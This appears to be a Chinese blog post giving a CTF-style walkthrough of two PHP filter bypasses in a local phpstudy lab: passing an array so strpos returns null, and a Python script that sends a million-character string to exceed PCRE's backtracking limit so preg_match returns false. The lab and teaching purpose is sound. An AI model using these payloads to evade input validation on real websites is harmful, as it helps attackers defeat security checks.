• 【安全】正则回溯绕过练习简单案例


    目录

    环境

    案例1

    前要

    代码审计 

    分析 

    案例2 

    代码审计

    分析

    payload


    环境

            phpstudy

    案例1

          前要

            php中0 1 -1 true false null 空字符 数组之间的比较 

          代码审计 

    1. function areyouok($greeting){
    2. return preg_match('/Merry.*Christmas/is',$greeting);
    3. //2.传参之后来到这个有正则匹配的函数
    4. }
    5. $greeting=@$_POST['greeting'];
    6. //1.post传参
    7. if(!areyouok($greeting)){
    8. //3.这个if要areyouok返回false才能进来
    9. if(strpos($greeting,'Merry Christmas') !== false){
    10. //4.这个if要里面的strpos为字符查找函数,
    11. //如果查找到返回字符的位置,没有就返回false
    12. //5.根据弱类型匹配原则构造payload
    13. echo 'flag{this is flag}';
    14. }else{
    15. echo 'Do you know .swp file?';
    16. }
    17. }else{
    18. echo 'Do you know PHP?';
    19. }

     strpos函数官方文档提示:

            经过实验,如果字符串位置放数组返回的实际是null

         分析 

             ①正则要匹配不上才能进第一个if        

             ②第二个if又要求greeting中含有Merry Christmas

             ③跳出第二个的思想,根据官方文档提示如果返回的是null的话

             ④null !== false能返回true是因为!==参考的是严格比较=== (!=参考的==)

            payload

    greeting[]=

    案例2 

         代码审计

    1. function areyouok($greeting){
    2. return preg_match('/Merry.*Christmas/is',$greeting);
    3. }
    4. //3.目的是不匹配上merrychristmas
    5. $greeting=@$_POST['greeting'];
    6. //1.post传参
    7. if(!is_array($greeting)){
    8. //2.判断是否为数组(封杀案例1的那种payload)
    9. if(!areyouok($greeting)){
    10. if(strpos($greeting,'Merry Christmas') !== false){
    11. //4.匹配上merrychristmas
    12. echo 'Merry Christmas. '.'flag{this is flag}';
    13. }else{
    14. echo 'Do you know .swp file?';
    15. }
    16. }else{
    17. echo 'Do you know PHP?';
    18. }
    19. } else {
    20. echo 'fuck array!!!';
    21. }
    22. ?>

         分析

            ①不能匹配到MC的同时又要匹配到MC才能拿到flag

            ②正则回溯吐字符100w次就会返回false(目的是防止ddos)这样第一个if就能过去了,第二个只要里面存在MC也能进,那就构造存在MC的然后又会回溯100w次以上的

            

         payload

    1. from requests import post
    2. payload = {
    3. 'greeting': 'Merry Christmas' +'x'*1000000
    4. }
    5. res = post('http://localhost:8081/demo4.php', data=payload)
    6. print(res.text)

    注:图中所标版本复现失败,我以为是php版本高了,结果下面那个8.的复现成功了实属离奇

  • 相关阅读:
    回忆初学编程的糗事:愚蠢的代码也是宝贵的学习经验
    【云原生】初识 Kubernetes — pod 的前世今生
    crontab 定时任务
    铁威马NAS之如何利用docker安装Jellyfin媒体服务器
    Allegro削铜皮详细操作指导
    List, Set, Map, Queue介绍
    systrace/perfetto如何看surfaceflinger的vsync信号方法-android framework实战车载手机系统开发
    @Transactional注解介绍
    新一代电话机器人开源PHP源代码
    暂定名「码道功成:Coder启示录」
  • 原文地址:https://blog.csdn.net/weixin_53428697/article/details/132663766